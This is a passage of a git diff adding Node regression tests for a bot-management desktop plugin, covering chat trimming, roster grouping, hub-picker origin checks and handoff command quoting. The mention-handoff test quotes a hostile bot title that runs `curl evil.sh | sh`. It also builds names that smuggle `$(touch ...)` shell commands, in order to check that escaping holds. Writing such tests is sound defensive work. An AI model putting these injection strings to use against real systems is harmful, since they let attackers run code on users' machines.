+ const gc = load(() => '(pass)')
+ const log = Array.from({ length: 200 }, (_, i) => ({ from: { kind: 'user', name: 'You' }, text: `m${i}`, at: i }))
+ const { log: trimmed, watermarks } = gc.trimGroupChatLog(log, { research: 150, builder: 10 }, 96)
+ assert.equal(trimmed.length, 96)
+ assert.equal(watermarks.research, 150 - 104)
+ assert.equal(watermarks.builder, 0)
+})
+
+test('source contract: workspace + header affordance + prompt rules are wired', () => {
+ assert.match(pluginSource, /function GroupChatWorkspace\(/)
+ assert.match(pluginSource, /Open chat/)
+ assert.match(pluginSource, /reply with exactly "\(pass\)"/i)
+ assert.match(pluginSource, /\[Group chat: "\$\{groupName\}"\]/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/hide-bot-chats.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/hide-bot-chats.test.mjs
new file mode 100644
index 00000000000..4f5a2c41b6a
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/hide-bot-chats.test.mjs
@@ -0,0 +1,59 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+// #46: canonical "Bot Chat" sessions can be hidden from the global Sessions
+// sidebar via the core generic `hidden` session flag, while staying in the Bots
+// roster. The plugin passes hidden:true on session.create when the pref is on,
+// and setHideBotChats reconciles existing chats via session.set_hidden.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function loadCreate(hidePref) {
+ const start = source.indexOf('const canonicalCreations = new Map()')
+ const end = source.indexOf('function displayName(', start)
+ const created = []
+ const context = {
+ host: {
+ openSession: async () => {},
+ request: async (method, params) => {
+ if (method === 'session.create') {
+ created.push(params)
+ return { stored_session_id: 'sid-1', session_id: 'rt-1' }
+ }
+ return {}
+ }
+ },
+ saveBotMeta: () => {},
+ $hideBotChats: { get: () => hidePref },
+ window: { setTimeout: cb => cb() }
+ }
+ const section = source.slice(start, end).concat('\nglobalThis.__c = { createCanonicalChat };\n')
+ vm.runInNewContext(section, context, { filename: 'c.js' })
+ return { create: context.__c.createCanonicalChat, created }
+}
+
+test('createCanonicalChat passes hidden:true when the pref is on', async () => {
+ const { create, created } = loadCreate(true)
+ await create('alpha')
+ assert.equal(created.length, 1)
+ assert.equal(created[0].hidden, true)
+ assert.equal(created[0].title, 'Bot Chat')
+})
+
+test('createCanonicalChat omits hidden when the pref is off', async () => {
+ const { create, created } = loadCreate(false)
+ await create('beta')
+ assert.equal(created.length, 1)
+ assert.ok(!('hidden' in created[0]), 'hidden should be omitted, not false')
+})
+
+test('setHideBotChats persists the pref and reconciles known chats via session.set_hidden', () => {
+ // Source-level: the toggle calls session.set_hidden for each known canonical
+ // chat id and persists the pref to storage.
+ const fn = source.slice(source.indexOf('async function setHideBotChats('), source.indexOf('const avatarFetchInflight'))
+ assert.match(fn, /storage\?\.set\?\.\('hide-bot-chats', hidden\)/)
+ assert.match(fn, /session\.set_hidden.*session_id: sid, hidden/)
+ assert.match(fn, /\.map\(m => m && m\.chat\)/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/hub-picker-guard.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/hub-picker-guard.test.mjs
new file mode 100644
index 00000000000..de484a1d080
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/hub-picker-guard.test.mjs
@@ -0,0 +1,27 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+
+// The Skills Hub picker embed posts {type:'hermes-skill-pick'} messages and
+// the plugin installs via skills.manage. The handler checked only
+// event.origin — any window on the hub origin (e.g. an OAuth popup returned
+// to the hub) could trigger an install while the picker is open, and any
+// string reached skills.manage as the install identifier. Picks are now
+// pinned to OUR iframe's contentWindow and the identifier is charset-checked.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+const start = source.indexOf('function HubSkillsSection(')
+assert.notEqual(start, -1, 'HubSkillsSection is missing')
+const section = source.slice(start, source.indexOf('function emptyAdvancedState', start))
+
+test('regression: hub pick messages are pinned to the embedded frame', () => {
+ assert.ok(section.includes('const frameRef = useRef(null)'))
+ assert.ok(section.includes('event.source !== frameRef.current.contentWindow'))
+ assert.ok(section.includes('ref: frameRef'))
+})
+
+test('regression: hub pick identifiers are charset-checked before install', () => {
+ assert.ok(section.includes("if (!/^[A-Za-z0-9][A-Za-z0-9._/-]*$/.test(target)) {"))
+ assert.ok(section.includes('const target = String(data.identifier || data.name)'))
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/legacy-sdk-compat.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/legacy-sdk-compat.test.mjs
new file mode 100644
index 00000000000..159c7bf5afd
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/legacy-sdk-compat.test.mjs
@@ -0,0 +1,91 @@
+import assert from 'node:assert/strict'
+import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import test from 'node:test'
+import { pathToFileURL } from 'node:url'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+const OPTIONAL_CAPABILITY_EXPORTS = new Set(['McpTab', 'ToolsetConfigPanel', 'SkillsView'])
+
+function sdkNamedImports(source) {
+ const match = source.match(/import\s+\{([\s\S]*?)\}\s+from '@hermes\/plugin-sdk'/)
+
+ assert.ok(match, 'plugin.js must retain the mandatory named SDK import')
+
+ return match[1]
+ .split(',')
+ .map(name => name.trim())
+ .filter(Boolean)
+ .map(name => name.split(/\s+as\s+/)[0])
+}
+
+function proxyModule(exportNames) {
+ const exports = exportNames.map(name => ` proxy as ${name}`).join(',\n')
+
+ return `const proxy = new Proxy(function () { return proxy }, {
+ apply: () => proxy,
+ get: (_target, key) => {
+ if (key === Symbol.iterator) return function * () {}
+ if (key === Symbol.toPrimitive) return () => 0
+ if (key === 'then') return undefined
+ return proxy
+ }
+})
+
+export {
+${exports}
+}
+`
+}
+
+function writeLegacySdk(root) {
+ const packageRoot = join(root, 'node_modules', '@hermes', 'plugin-sdk')
+ const exportNames = sdkNamedImports(pluginSource).filter(
+ name => !OPTIONAL_CAPABILITY_EXPORTS.has(name)
+ )
+
+ mkdirSync(packageRoot, { recursive: true })
+ writeFileSync(
+ join(packageRoot, 'package.json'),
+ `${JSON.stringify({ name: '@hermes/plugin-sdk', type: 'module', exports: './index.js' }, null, 2)}\n`
+ )
+ writeFileSync(join(packageRoot, 'index.js'), proxyModule(exportNames))
+}
+
+function writeReactStubs(root) {
+ const packageRoot = join(root, 'node_modules', 'react')
+
+ mkdirSync(packageRoot, { recursive: true })
+ writeFileSync(
+ join(packageRoot, 'package.json'),
+ `${JSON.stringify(
+ {
+ name: 'react',
+ type: 'module',
+ exports: { '.': './index.js', './jsx-runtime': './jsx-runtime.js' }
+ },
+ null,
+ 2
+ )}\n`
+ )
+ writeFileSync(join(packageRoot, 'index.js'), proxyModule(['useEffect', 'useRef', 'useState']))
+ writeFileSync(join(packageRoot, 'jsx-runtime.js'), proxyModule(['jsx', 'jsxs']))
+}
+
+test('legacy SDK without optional capability exports still links Bot Mode', async t => {
+ const root = mkdtempSync(join(tmpdir(), 'hermes-bot-mode-legacy-sdk-'))
+ const pluginPath = join(root, 'plugin.js')
+
+ t.after(() => rmSync(root, { recursive: true, force: true }))
+
+ writeFileSync(join(root, 'package.json'), '{"type":"module"}\n')
+ writeFileSync(pluginPath, pluginSource)
+ writeLegacySdk(root)
+ writeReactStubs(root)
+
+ const loaded = await import(pathToFileURL(pluginPath).href)
+
+ assert.equal(loaded.default.id, 'hermes-bots')
+ assert.equal(typeof loaded.default.register, 'function')
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/mention-handoff-quoting.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/mention-handoff-quoting.test.mjs
new file mode 100644
index 00000000000..9dbb8e1ba29
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/mention-handoff-quoting.test.mjs
@@ -0,0 +1,112 @@
+import assert from 'node:assert/strict'
+import { spawnSync } from 'node:child_process'
+import { existsSync, readFileSync, rmSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+// The @mention middleware appends a handoff note whose hermes command the
+// active agent runs verbatim in its terminal. The sender display name and
+// @handle used to be interpolated into the double-quoted -q argument (and
+// the recipient name sat unquoted after -p) with no escaping — a bot title
+// like `x" ; curl evil.sh | sh ; echo "` (titles are free text and sync from
+// ui_meta, i.e. other machines / the gateway) broke out into real commands,
+// and $(...) inside double quotes expanded even without a breakout. Same
+// class as the delegated-routine fix for #21.
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load({ activeProfile = 'research', profiles = ['research', 'ops'], title = null } = {}) {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: {
+ request: async method => {
+ if (method === 'profiles.list') {
+ return { profiles: profiles.map(name => ({ name })) }
+ }
+ return {}
+ },
+ state: { profile: { get: () => activeProfile, listen: () => undefined }, gateway: { listen: () => undefined } }
+ }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__mention = { $botMeta };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ context.__mention.$botMeta.set(title ? { [activeProfile]: { title } } : {})
+
+ const registered = []
+ context.plugin.register({ storage: { get: () => null }, register: entry => registered.push(entry) })
+ const middleware = registered.find(entry => entry.id === 'mention-middleware')
+ assert.ok(middleware, 'mention middleware did not register')
+ return { handler: middleware.data.handler }
+}
+
+/** Run the note's first hermes command under a stub that echoes each argv
+ * element — proves the shell received the interpolations as LITERALS. */
+function runHandoffCommand(noteText) {
+ const command = noteText.match(/`hermes -p [^`]*`/)[0].slice(1, -1)
+ const script = `hermes() { printf '%s\\037' "$@"; }\n${command}`
+ const result = spawnSync('sh', ['-c', script], { encoding: 'utf8' })
+ assert.equal(result.status, 0, result.stderr)
+ return result.stdout.split('\x1f').slice(0, -1)
+}
+
+test('security: a poisoned bot title stays literal in the handoff command', async () => {
+ const quoteSentinel = `/tmp/hermes-bot-mode-mention-quote-${process.pid}`
+ const subSentinel = `/tmp/hermes-bot-mode-mention-sub-${process.pid}`
+ rmSync(quoteSentinel, { force: true })
+ rmSync(subSentinel, { force: true })
+
+ const title = `Evil" ; touch ${quoteSentinel} ; echo "$(touch ${subSentinel})"`
+ const { handler } = load({ title })
+
+ const result = await handler({ text: 'please @ops review the diff' })
+ assert.ok(result.text.includes('[@mention handoff'))
+
+ const args = runHandoffCommand(result.text)
+ assert.equal(args[args.indexOf('-p') + 1], 'ops')
+ assert.equal(
+ args[args.indexOf('-q') + 1],
+ `Message from \uD83E\uDD16 ${title} (@research): <your composed message>`
+ )
+ assert.equal(existsSync(quoteSentinel), false)
+ assert.equal(existsSync(subSentinel), false)
+})
+
+test('security: a hostile active profile name stays literal in the handoff command', async () => {
+ const sentinel = `/tmp/hbmmention${process.pid}`
+ rmSync(sentinel, { force: true })
+ const activeProfile = `res$(touch ${sentinel})earch`
+
+ const { handler } = load({ activeProfile, title: null })
+ const result = await handler({ text: 'ask @ops to summarize' })
+
+ const args = runHandoffCommand(result.text)
+ // displayName title-cases word boundaries inside the name — the shell
+ // metacharacters survive that transform, so they must arrive escaped.
+ assert.equal(
+ args[args.indexOf('-q') + 1],
+ `Message from \uD83E\uDD16 Res$(Touch /Tmp/Hbmmention${process.pid})Earch (@${activeProfile}): <your composed message>`
+ )
+ assert.equal(existsSync(sentinel), false)
+})
+
+test('regression: the handoff command quotes the recipient argument', async () => {
+ const { handler } = load()
+ const result = await handler({ text: 'ping @ops please' })
+ assert.match(result.text, /`hermes -p 'ops' chat --in ~/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/model-inherit.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/model-inherit.test.mjs
new file mode 100644
index 00000000000..f36c5cc09e5
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/model-inherit.test.mjs
@@ -0,0 +1,95 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function loadApplyAdvancedConfig(request) {
+ const start = source.indexOf('async function applyAdvancedConfig(')
+ const end = source.indexOf('// ── edit profile dialog', start)
+ const context = {
+ host: { request },
+ ensureMessagingProtocol: soul => soul,
+ $lastRoster: { get: () => [] }
+ }
+ const section = source
+ .slice(start, end)
+ .concat('\nglobalThis.__advanced = { applyAdvancedConfig };\n')
+
+ assert.notEqual(start, -1, 'applyAdvancedConfig is missing')
+ assert.notEqual(end, -1, 'advanced-config section delimiter is missing')
+ vm.runInNewContext(section, context, { filename: 'advanced-config.js' })
+ return context.__advanced.applyAdvancedConfig
+}
+
+function state(patch = {}) {
+ return {
+ provider: '',
+ model: '',
+ soul: '',
+ skills: [],
+ toolsets: [],
+ dirtyModel: false,
+ dirtySoul: false,
+ dirtySkills: false,
+ dirtyToolsets: false,
+ ...patch
+ }
+}
+
+test('regression: selecting Inherit explicitly clears the profile model assignment', async () => {
+ const calls = []
+ const apply = loadApplyAdvancedConfig(async (method, params) => {
+ calls.push({ method, params })
+ return { code: 0, blocked: false, output: 'Unset model' }
+ })
+
+ const result = await apply('ops', state({ dirtyModel: true }))
+
+ assert.deepEqual(JSON.parse(JSON.stringify(calls)), [
+ {
+ method: 'cli.exec',
+ params: { argv: ['--profile', 'ops', 'config', 'unset', 'model'] }
+ }
+ ])
+ assert.deepEqual(JSON.parse(JSON.stringify(result)), { ok: true, applied: { model: true } })
+})
+
+test('integration: model clearing and other dirty sections report a merged result', async () => {
+ const calls = []
+ const apply = loadApplyAdvancedConfig(async (method, params) => {
+ calls.push({ method, params })
+ if (method === 'cli.exec') return { code: 0, blocked: false, output: 'Unset model' }
+ return { ok: true, applied: { soul: true } }
+ })
+
+ const result = await apply('ops', state({ dirtyModel: true, dirtySoul: true, soul: '# Ops' }))
+
+ assert.equal(calls[0].method, 'cli.exec')
+ assert.deepEqual(JSON.parse(JSON.stringify(calls[1])), {
+ method: 'profiles.configure',
+ params: { name: 'ops', soul: '# Ops' }
+ })
+ assert.deepEqual(JSON.parse(JSON.stringify(result)), {
+ ok: true,
+ applied: { model: true, soul: true }
+ })
+})
+
+test('regression: a rejected model clear is reported as a failed section', async () => {
+ const apply = loadApplyAdvancedConfig(async () => ({ code: 1, blocked: false, output: 'Config key not set' }))
+
+ const result = await apply('ops', state({ dirtyModel: true }))
+
+ assert.deepEqual(JSON.parse(JSON.stringify(result)), { ok: false, applied: { model: false } })
+})
+
+test('regression: an advanced-section failure suppresses the contradictory success toast', () => {
+ const start = source.indexOf('function EditProfileDialog(')
+ const end = source.indexOf('function CreateAgentDialog(', start)
+ const dialog = source.slice(start, end)
+
+ assert.match(dialog, /let advancedFailed = false/)
+ assert.match(dialog, /if \(!advancedFailed && !lookFailed\) \{\s*host\.notify\(\{ kind: 'success'/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/new-compact-guard.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/new-compact-guard.test.mjs
new file mode 100644
index 00000000000..b7295200950
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/new-compact-guard.test.mjs
@@ -0,0 +1,27 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+
+// The /new -> /compact guard protects a bot's canonical forever-chat from being
+// forked by /new. It compares the current session id against the bot's stored
+// canonical id. That id is persisted as meta.chat everywhere (createCanonicalChat
+// saveBotMeta(name,{chat:sid}), openBotCanonicalChat, BotRow). A regression read
+// it as meta.chat_pin — a key that is never written — so pinnedId was always null
+// and the guard never fired: /new silently forked the forever-chat.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+// Locate the /new reroute guard block.
+const guardStart = source.indexOf('const slashNew =')
+assert.notEqual(guardStart, -1, '/new guard block is missing')
+const guardBlock = source.slice(guardStart, guardStart + 600)
+
+test('regression: /new guard reads the canonical id from meta.chat, not meta.chat_pin', () => {
+ assert.match(guardBlock, /const pinnedId = meta\?\.chat \|\| null/)
+ assert.doesNotMatch(guardBlock, /chat_pin/)
+})
+
+test('regression: canonical id is persisted as meta.chat (the key the guard reads)', () => {
+ // The writer and the guard must agree on the key, or the guard never fires.
+ assert.match(source, /saveBotMeta\([^)]*\{\s*chat:\s*sid\s*\}/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/pet-fetch.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/pet-fetch.test.mjs
new file mode 100644
index 00000000000..1d818ba9364
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/pet-fetch.test.mjs
@@ -0,0 +1,76 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load(fetchImpl) {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const fetches = []
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: {
+ getElementById: () => null,
+ createElement: () => ({
+ width: 0,
+ height: 0,
+ getContext: () => ({ drawImage() {} }),
+ toDataURL: () => 'data:image/png;base64,ok'
+ }),
+ head: { appendChild: () => undefined }
+ },
+ host: { state: { profile: { listen: () => undefined } } },
+ fetch: async (url, opts) => {
+ fetches.push({ url, opts })
+ return fetchImpl(url, opts)
+ },
+ AbortSignal,
+ createImageBitmap: async () => ({ close() {} })
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__api = { petFrameIcon };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ return { context, fetches }
+}
+
+test('unit: a failed pet fetch is not stuck in the cache', async () => {
+ let n = 0
+ const { context, fetches } = load(async () => {
+ n += 1
+ throw new Error('network')
+ })
+ const a = await context.__api.petFrameIcon('https://pets.example/a.webp')
+ const b = await context.__api.petFrameIcon('https://pets.example/a.webp')
+ assert.equal(a, null)
+ assert.equal(b, null)
+ assert.equal(fetches.length, 2)
+ assert.equal(n, 2)
+ assert.ok(fetches[0].opts.signal, 'fetch is aborted if it hangs')
+})
+
+test('regression: a successful icon is still cached', async () => {
+ let n = 0
+ const { context } = load(async () => {
+ n += 1
+ return { blob: async () => new Blob() }
+ })
+ const a = await context.__api.petFrameIcon('https://pets.example/ok.webp')
+ const b = await context.__api.petFrameIcon('https://pets.example/ok.webp')
+ assert.equal(a, 'data:image/png;base64,ok')
+ assert.equal(n, 1)
+ assert.equal(a, b)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/profile-prewarm.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/profile-prewarm.test.mjs
new file mode 100644
index 00000000000..0311240c8b8
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/profile-prewarm.test.mjs
@@ -0,0 +1,92 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function sourceBetween(start, end) {
+ const from = source.indexOf(start)
+ const to = source.indexOf(end, from)
+
+ assert.notEqual(from, -1, `missing ${start}`)
+ assert.notEqual(to, -1, `missing ${end}`)
+
+ return source.slice(from, to)
+}
+
+function renderBotRow(name = 'alpha') {
+ const botRowSource = sourceBetween('function BotRow(', '// ── model picker')
+ const warmed = []
+ const atom = value => ({
+ get: () => value,
+ set: next => {
+ value = next
+ }
+ })
+ const node = (type, props = {}) => ({ type, props })
+ const context = {
+ BotFace: 'BotFace',
+ ContextMenu: 'ContextMenu',
+ ContextMenuContent: 'ContextMenuContent',
+ ContextMenuItem: 'ContextMenuItem',
+ ContextMenuSeparator: 'ContextMenuSeparator',
+ ContextMenuTrigger: 'ContextMenuTrigger',
+ ROSTER_KEY: ['hermes-bots', 'roster'],
+ $botMeta: atom({}),
+ $botUnread: atom({}),
+ $lastRoster: atom([]),
+ $selectedBot: atom('default'),
+ botAppearance: () => ({ shape: 'round', color: '#000', image: null }),
+ botHandle: value => value,
+ cn: (...values) => values.filter(Boolean).join(' '),
+ createCanonicalChat: async () => null,
+ displayName: bot => bot.name,
+ duplicateBot: async () => `${name}-copy`,
+ haptic: () => undefined,
+ // #49 session-aware-row helpers referenced inside BotRow.
+ previewKind: () => ({ fromBot: false, sender: null }),
+ generatedSessionTitle: () => null,
+ ACTIVE_WINDOW_S: 90,
+ A2A_PREFIX_RE: /^$/,
+ useEffect: () => undefined,
+ useState: initial => [typeof initial === 'function' ? initial() : initial, () => undefined],
+ host: {
+ state: { gateway: atom('open'), profile: atom('default') },
+ warmProfile: profile => warmed.push(profile),
+ request: async () => ({ sessions: [] }),
+ notify: () => undefined,
+ notifyError: () => undefined
+ },
+ jsx: node,
+ jsxs: node,
+ onEdit: () => undefined,
+ queryClient: { invalidateQueries: () => undefined },
+ relativeTime: () => 'now',
+ saveBotMeta: () => undefined,
+ showsHandle: () => false,
+ useValue: store => store.get()
+ }
+
+ vm.runInNewContext(`${botRowSource}\nglobalThis.BotRow = BotRow`, context)
+
+ const tree = context.BotRow({ bot: { name }, onEdit: context.onEdit })
+ const row = tree.props.children[0].props.children
+
+ return { row, warmed }
+}
+
+test('regression: rendering BotsPane does not prewarm the entire roster', () => {
+ const botsPaneSource = sourceBetween('function BotsPane(', '// ── plugin')
+
+ assert.doesNotMatch(botsPaneSource, /host\.warmProfile/)
+})
+
+test('behavior: pointer entry prewarms only the hovered bot', () => {
+ const { row, warmed } = renderBotRow('alpha')
+
+ assert.deepEqual(warmed, [])
+ assert.equal(typeof row.props.onPointerEnter, 'function')
+ row.props.onPointerEnter()
+ assert.deepEqual(warmed, ['alpha'])
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/roster-groups.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/roster-groups.test.mjs
new file mode 100644
index 00000000000..bf9ec0459a7
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/roster-groups.test.mjs
@@ -0,0 +1,97 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load() {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: {
+ request: () => Promise.resolve({}),
+ state: { profile: { get: () => 'default', listen: () => undefined }, gateway: { listen: () => undefined } }
+ }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__groups = { groupRoster, knownGroups };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ return context.__groups
+}
+
+const ROSTER = [{ name: 'hermes' }, { name: 'researcher' }, { name: 'builder' }, { name: 'pm' }]
+
+test('groupRoster: ungrouped bots lead, groups follow alphabetically, roster order kept inside', () => {
+ const { groupRoster } = load()
+ const meta = {
+ researcher: { group: 'Research' },
+ pm: { group: 'Ops' },
+ builder: { group: 'Research' }
+ }
+
+ const sections = groupRoster(ROSTER, meta)
+
+ // JSON round-trip: vm-realm arrays fail deepEqual on prototype identity.
+ assert.equal(
+ JSON.stringify(sections.map(s => [s.group, s.bots.map(b => b.name)])),
+ JSON.stringify([
+ [null, ['hermes']],
+ ['Ops', ['pm']],
+ ['Research', ['researcher', 'builder']]
+ ])
+ )
+})
+
+test('groupRoster: no groups means one plain section — zero separators', () => {
+ const { groupRoster } = load()
+
+ const sections = groupRoster(ROSTER, {})
+
+ assert.equal(sections.length, 1)
+ assert.equal(sections[0].group, null)
+ assert.equal(sections[0].bots.length, 4)
+})
+
+test('groupRoster: blank/whitespace group values count as ungrouped', () => {
+ const { groupRoster } = load()
+
+ const sections = groupRoster(ROSTER, { pm: { group: ' ' }, builder: { group: '' }, hermes: { group: null } })
+
+ assert.equal(sections.length, 1)
+ assert.equal(sections[0].group, null)
+})
+
+test('knownGroups: unique, trimmed, alphabetical', () => {
+ const { knownGroups } = load()
+
+ const groups = knownGroups({
+ a: { group: 'research' },
+ b: { group: 'Ops' },
+ c: { group: 'research' },
+ d: { group: '' },
+ e: {}
+ })
+
+ assert.equal(JSON.stringify(groups), JSON.stringify(['Ops', 'research']))
+})
+
+test('source contract: the roster render is sectioned and the row menu offers grouping', () => {
+ assert.match(pluginSource, /groupRoster\(filteredRoster, allMeta\)\.flatMap/)
+ assert.match(pluginSource, /onGroup: setGrouping/)
+ assert.match(pluginSource, /'Move to group…'/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/roster-preview.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/roster-preview.test.mjs
new file mode 100644
index 00000000000..3558677f299
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/roster-preview.test.mjs
@@ -0,0 +1,191 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function runtime() {
+ const atom = value => ({ get: () => value, set: () => undefined })
+ const jsx = (type, props = {}) => ({ type, props })
+ const context = {
+ atom,
+ jsx,
+ jsxs: jsx,
+ useQuery: () => ({}),
+ useValue: value => (value?.get ? value.get() : value),
+ useState: value => [value, () => undefined],
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: { state: { profile: { get: () => 'ops', listen: () => undefined } }, request: () => undefined }
+ }
+ const code = source
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat(
+ '\nglobalThis.__previewKind = previewKind;\nglobalThis.__generatedSessionTitle = generatedSessionTitle;\nglobalThis.__isGenericTitle = isGenericTitle;'
+ )
+ vm.runInNewContext(code, context)
+ return context
+}
+
+// NOTE: objects created inside the vm realm carry that realm's Object
+// prototype, so assert.deepEqual against host-realm literals fails on
+// reference-equality. Compare fields explicitly.
+function fromBotOf(preview) {
+ return runtime().__previewKind(preview).fromBot
+}
+
+test('previewKind: a plain chat preview is a human exchange, not a DM', () => {
+ assert.equal(fromBotOf('Can you check the vault sync?'), null)
+})
+
+test('previewKind: parses the current 🤖 delivery prefix and sender handle', () => {
+ assert.equal(fromBotOf('Message from 🤖 manager (@manager): Learn-share: skill installed'), 'manager')
+})
+
+test('previewKind: parses the legacy agent-prefix shape', () => {
+ assert.equal(fromBotOf("Message from agent 'researcher': here is the paper"), 'researcher')
+})
+
+test('previewKind: empty or absent preview is not a DM', () => {
+ assert.equal(fromBotOf(''), null)
+ assert.equal(fromBotOf(undefined), null)
+})
+
+test('isGenericTitle: auto-assigned titles are generic', () => {
+ const r = runtime()
+ assert.equal(r.__isGenericTitle('Bot Chat'), true)
+ assert.equal(r.__isGenericTitle('New chat'), true)
+ assert.equal(r.__isGenericTitle(''), true)
+ assert.equal(r.__isGenericTitle('Weekly review planning'), false)
+})
+
+test('generatedSessionTitle: keeps a meaningful stored title', () => {
+ const r = runtime()
